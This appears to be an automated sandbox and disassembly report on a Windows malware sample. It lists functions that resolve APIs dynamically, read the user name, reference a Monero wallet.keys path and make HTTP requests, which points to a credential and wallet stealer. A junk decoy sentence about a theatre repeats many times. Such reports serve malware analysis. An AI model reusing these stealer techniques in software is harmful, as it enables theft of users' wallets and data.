The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0013477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001345F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001345E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001346AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0013462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0013473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001345DD

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 6485da416469b8c126e0b9db73453eeadbdc1890ac98114e1c74a2e97d25493b
Instruction ID: c1f29e88ae35a8a7e22a5803edf96cc680d758fce7e7372fdda73707c6be3bd1
Opcode Fuzzy Hash: 6485da416469b8c126e0b9db73453eeadbdc1890ac98114e1c74a2e97d25493b
Instruction Fuzzy Hash: D44114606CB688EFE734B7E4AC72D9D7A67EF42F0AF505044BE205A292CFB075454531

Function 00134880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

Part of subcall function 001347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00134839
Part of subcall function 001347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00134849

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00134915
StrCmpCA.SHLWAPI(?,0102E470), ref: 0013493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00134ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00150DDB,00000000,?,?,00000000,?,",00000000,?,0102E580), ref: 00134DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00134E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00134E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00134E49
InternetCloseHandle.WININET(00000000), ref: 00134EAD
InternetCloseHandle.WININET(00000000), ref: 00134EC5
HttpOpenRequestA.WININET(00000000,0102E530,?,0102DA58,00000000,00000000,00400100,00000000), ref: 00134B15

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

InternetCloseHandle.WININET(00000000), ref: 00134ECF

Strings

", xrefs: 00134BF2
", xrefs: 00134D33
------, xrefs: 001349BD
------, xrefs: 00134C69
------, xrefs: 00134B28

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: bad06ee184c0e1e1109be0772072f34b94c1b04f1770de32de997022c854667b
Instruction ID: 1b2f2aba3f54341b9c6077f03b7fd69deb2a2b1ad66df9f5390b09c5745dd32f
Opcode Fuzzy Hash: bad06ee184c0e1e1109be0772072f34b94c1b04f1770de32de997022c854667b
Instruction Fuzzy Hash: EA12F172990119AAEB15EB90DC62FEEB378FF64305F914199B106620A1DF702F49CF62

Function 00147850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001311B7), ref: 00147880
RtlAllocateHeap.NTDLL(00000000), ref: 00147887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0014789F

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 1f2cbb55af4a5cdfa91742c59b2d0e02f2e4476cb324553e0c86f8c76b0986ab
Instruction ID: 74021b5770494b70588dec21e760980f2e89a2f5fc4d6dc56101042a421dc974
Opcode Fuzzy Hash: 1f2cbb55af4a5cdfa91742c59b2d0e02f2e4476cb324553e0c86f8c76b0986ab
Instruction Fuzzy Hash: 53F04FB1944609AFCB14DF98DD4ABAEBBFCEB45711F10025AFA05A2690C77415448BA2

Function 00131160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0013116A
ExitProcess.KERNEL32 ref: 0013117E

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 84b3c75c93d57419d285ec096d741b38ccf0639807eefc44448c32198e5a53a0
Instruction ID: dc551ebacf296e1888098f3113781ceedd188862ca484f7205b7a6de79132d49
Opcode Fuzzy Hash: 84b3c75c93d57419d285ec096d741b38ccf0639807eefc44448c32198e5a53a0
Instruction Fuzzy Hash: 9AD09E7490430CDBCB14DFE0D9496EDBB7CFB48716F101559DD0962340EB3155D6CAA6

Function 00149C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01016740), ref: 00149C2D
GetProcAddress.KERNEL32(75900000,01016A20), ref: 00149C45
GetProcAddress.KERNEL32(75900000,01028F10), ref: 00149C5E
GetProcAddress.KERNEL32(75900000,01028FA0), ref: 00149C76
GetProcAddress.KERNEL32(75900000,0102CA48), ref: 00149C8E
GetProcAddress.KERNEL32(75900000,0102C9E8), ref: 00149CA7
GetProcAddress.KERNEL32(75900000,0101B298), ref: 00149CBF
GetProcAddress.KERNEL32(75900000,0102CA00), ref: 00149CD7
GetProcAddress.KERNEL32(75900000,0102C8B0), ref: 00149CF0
GetProcAddress.KERNEL32(75900000,0102C9A0), ref: 00149D08
GetProcAddress.KERNEL32(75900000,0102C970), ref: 00149D20
GetProcAddress.KERNEL32(75900000,010169A0), ref: 00149D39
GetProcAddress.KERNEL32(75900000,010168C0), ref: 00149D51
GetProcAddress.KERNEL32(75900000,01016680), ref: 00149D69
GetProcAddress.KERNEL32(75900000,010166E0), ref: 00149D82
GetProcAddress.KERNEL32(75900000,0102C8C8), ref: 00149D9A
GetProcAddress.KERNEL32(75900000,0102C7F0), ref: 00149DB2
GetProcAddress.KERNEL32(75900000,0101B0E0), ref: 00149DCB
GetProcAddress.KERNEL32(75900000,01016860), ref: 00149DE3
GetProcAddress.KERNEL32(75900000,0102CA18), ref: 00149DFB
GetProcAddress.KERNEL32(75900000,0102C988), ref: 00149E14
GetProcAddress.KERNEL32(75900000,0102C880), ref: 00149E2C
GetProcAddress.KERNEL32(75900000,0102C8F8), ref: 00149E44
GetProcAddress.KERNEL32(75900000,01016780), ref: 00149E5D
GetProcAddress.KERNEL32(75900000,0102CA60), ref: 00149E75
GetProcAddress.KERNEL32(75900000,0102CAC0), ref: 00149E8D
GetProcAddress.KERNEL32(75900000,0102CA78), ref: 00149EA6
GetProcAddress.KERNEL32(75900000,0102CA90), ref: 00149EBE
GetProcAddress.KERNEL32(75900000,0102CAD8), ref: 00149ED6
GetProcAddress.KERNEL32(75900000,0102C9B8), ref: 00149EEF
GetProcAddress.KERNEL32(75900000,0102CAA8), ref: 00149F07
GetProcAddress.KERNEL32(75900000,0102C958), ref: 00149F1F
GetProcAddress.KERNEL32(75900000,0102C808), ref: 00149F38
GetProcAddress.KERNEL32(75900000,01029978), ref: 00149F50
GetProcAddress.KERNEL32(75900000,0102C9D0), ref: 00149F68
GetProcAddress.KERNEL32(75900000,0102C928), ref: 00149F81
GetProcAddress.KERNEL32(75900000,010168E0), ref: 00149F99
GetProcAddress.KERNEL32(75900000,0102C910), ref: 00149FB1
GetProcAddress.KERNEL32(75900000,01016900), ref: 00149FCA
GetProcAddress.KERNEL32(75900000,0102C8E0), ref: 00149FE2
GetProcAddress.KERNEL32(75900000,0102C868), ref: 00149FFA
GetProcAddress.KERNEL32(75900000,010165E0), ref: 0014A013
GetProcAddress.KERNEL32(75900000,010164C0), ref: 0014A02B
LoadLibraryA.KERNEL32(0102CA30,?,00145CA3,00150AEB,?,?,?,?,?,?,?,?,?,?,00150AEA,00150AE3), ref: 0014A03D
LoadLibraryA.KERNEL32(0102C820,?,00145CA3,00150AEB,?,?,?,?,?,?,?,?,?,?,00150AEA,00150AE3), ref: 0014A04E
LoadLibraryA.KERNEL32(0102C838,?,00145CA3,00150AEB,?,?,?,?,?,?,?,?,?,?,00150AEA,00150AE3), ref: 0014A060
LoadLibraryA.KERNEL32(0102C850,?,00145CA3,00150AEB,?,?,?,?,?,?,?,?,?,?,00150AEA,00150AE3), ref: 0014A072
LoadLibraryA.KERNEL32(0102C898,?,00145CA3,00150AEB,?,?,?,?,?,?,?,?,?,?,00150AEA,00150AE3), ref: 0014A083
LoadLibraryA.KERNEL32(0102C940,?,00145CA3,00150AEB,?,?,?,?,?,?,?,?,?,?,00150AEA,00150AE3), ref: 0014A095
LoadLibraryA.KERNEL32(0102CC28,?,00145CA3,00150AEB,?,?,?,?,?,?,?,?,?,?,00150AEA,00150AE3), ref: 0014A0A7
LoadLibraryA.KERNEL32(0102CBF8,?,00145CA3,00150AEB,?,?,?,?,?,?,?,?,?,?,00150AEA,00150AE3), ref: 0014A0B8
GetProcAddress.KERNEL32(75FD0000,01016600), ref: 0014A0DA
GetProcAddress.KERNEL32(75FD0000,0102CC40), ref: 0014A0F2
GetProcAddress.KERNEL32(75FD0000,01028B60), ref: 0014A10A
GetProcAddress.KERNEL32(75FD0000,0102CDA8), ref: 0014A123
GetProcAddress.KERNEL32(75FD0000,01016380), ref: 0014A13B
GetProcAddress.KERNEL32(73B60000,0101B090), ref: 0014A160
GetProcAddress.KERNEL32(73B60000,01016620), ref: 0014A179
GetProcAddress.KERNEL32(73B60000,0101AE88), ref: 0014A191
GetProcAddress.KERNEL32(73B60000,0102CC70), ref: 0014A1A9
GetProcAddress.KERNEL32(73B60000,0102CD78), ref: 0014A1C2
GetProcAddress.KERNEL32(73B60000,01016520), ref: 0014A1DA
GetProcAddress.KERNEL32(73B60000,010162E0), ref: 0014A1F2
GetProcAddress.KERNEL32(73B60000,0102CDC0), ref: 0014A20B
GetProcAddress.KERNEL32(763B0000,010164E0), ref: 0014A22C
GetProcAddress.KERNEL32(763B0000,01016300), ref: 0014A244
GetProcAddress.KERNEL32(763B0000,0102CC58), ref: 0014A25D
GetProcAddress.KERNEL32(763B0000,0102CD00), ref: 0014A275
GetProcAddress.KERNEL32(763B0000,010165A0), ref: 0014A28D
GetProcAddress.KERNEL32(750F0000,0101B2E8), ref: 0014A2B3
GetProcAddress.KERNEL32(750F0000,0101B1A8), ref: 0014A2CB
GetProcAddress.KERNEL32(750F0000,0102CD48), ref: 0014A2E3
GetProcAddress.KERNEL32(750F0000,010164A0), ref: 0014A2FC
GetProcAddress.KERNEL32(750F0000,010163A0), ref: 0014A314
GetProcAddress.KERNEL32(750F0000,0101B0B8), ref: 0014A32C
GetProcAddress.KERNEL32(75A50000,0102CC88), ref: 0014A352
GetProcAddress.KERNEL32(75A50000,01016500), ref: 0014A36A
GetProcAddress.KERNEL32(75A50000,01028B70), ref: 0014A382
GetProcAddress.KERNEL32(75A50000,0102CB20), ref: 0014A39B
GetProcAddress.KERNEL32(75A50000,0102CBE0), ref: 0014A3B3
GetProcAddress.KERNEL32(75A50000,01016580), ref: 0014A3CB
GetProcAddress.KERNEL32(75A50000,01016320), ref: 0014A3E4
GetProcAddress.KERNEL32(75A50000,0102CB98), ref: 0014A3FC
GetProcAddress.KERNEL32(75A50000,0102CCA0), ref: 0014A414
GetProcAddress.KERNEL32(75070000,01016640), ref: 0014A436
GetProcAddress.KERNEL32(75070000,0102CDD8), ref: 0014A44E
GetProcAddress.KERNEL32(75070000,0102CCB8), ref: 0014A466
GetProcAddress.KERNEL32(75070000,0102CD60), ref: 0014A47F
GetProcAddress.KERNEL32(75070000,0102CCD0), ref: 0014A497
GetProcAddress.KERNEL32(74E50000,01016360), ref: 0014A4B8
GetProcAddress.KERNEL32(74E50000,01016480), ref: 0014A4D1
GetProcAddress.KERNEL32(75320000,010162A0), ref: 0014A4F2
GetProcAddress.KERNEL32(75320000,0102CB38), ref: 0014A50A
GetProcAddress.KERNEL32(6F060000,010163C0), ref: 0014A530
GetProcAddress.KERNEL32(6F060000,010165C0), ref: 0014A548
GetProcAddress.KERNEL32(6F060000,01016660), ref: 0014A560
GetProcAddress.KERNEL32(6F060000,0102CB68), ref: 0014A579
GetProcAddress.KERNEL32(6F060000,01016540), ref: 0014A591
GetProcAddress.KERNEL32(6F060000,01016280), ref: 0014A5A9
GetProcAddress.KERNEL32(6F060000,010162C0), ref: 0014A5C2
GetProcAddress.KERNEL32(6F060000,01016340), ref: 0014A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0014A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0014A607
GetProcAddress.KERNEL32(74E00000,0102CAF0), ref: 0014A629
GetProcAddress.KERNEL32(74E00000,01028B80), ref: 0014A641
GetProcAddress.KERNEL32(74E00000,0102CCE8), ref: 0014A659
GetProcAddress.KERNEL32(74E00000,0102CD30), ref: 0014A672
GetProcAddress.KERNEL32(74DF0000,01016560), ref: 0014A693
GetProcAddress.KERNEL32(6F9A0000,0102CD18), ref: 0014A6B4
GetProcAddress.KERNEL32(6F9A0000,010163E0), ref: 0014A6CD
GetProcAddress.KERNEL32(6F9A0000,0102CBB0), ref: 0014A6E5
GetProcAddress.KERNEL32(6F9A0000,0102CD90), ref: 0014A6FD

Strings

InternetSetOptionA, xrefs: 0014A5E5
HttpQueryInfoA, xrefs: 0014A5FC

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 78c6f46f7af1c02bd81f6ae5adfc65c624c5f781c266cba0f6fae1f2f7bb45a3
Instruction ID: 4b4474326265ba3c079bd4485aaf1a841c88b12c63f87528797ed19aa4af50a0
Opcode Fuzzy Hash: 78c6f46f7af1c02bd81f6ae5adfc65c624c5f781c266cba0f6fae1f2f7bb45a3
Instruction Fuzzy Hash: 086249B5504A80AFD36ADFA8ED8995E3BFDE7CC301B14851AA61DC3224D63998C1DF13

Function 00136280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

Part of subcall function 001347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00134839
Part of subcall function 001347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00134849

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

InternetOpenA.WININET(00150DFE,00000001,00000000,00000000,00000000), ref: 001362E1
StrCmpCA.SHLWAPI(?,0102E470), ref: 00136303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00136335
HttpOpenRequestA.WININET(00000000,GET,?,0102DA58,00000000,00000000,00400100,00000000), ref: 00136385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001363BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001363D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 001363FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0013646D
InternetCloseHandle.WININET(00000000), ref: 001364EF
InternetCloseHandle.WININET(00000000), ref: 001364F9
InternetCloseHandle.WININET(00000000), ref: 00136503

Strings

ERROR, xrefs: 001364C9
GET, xrefs: 0013637C
ERROR, xrefs: 00136407

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
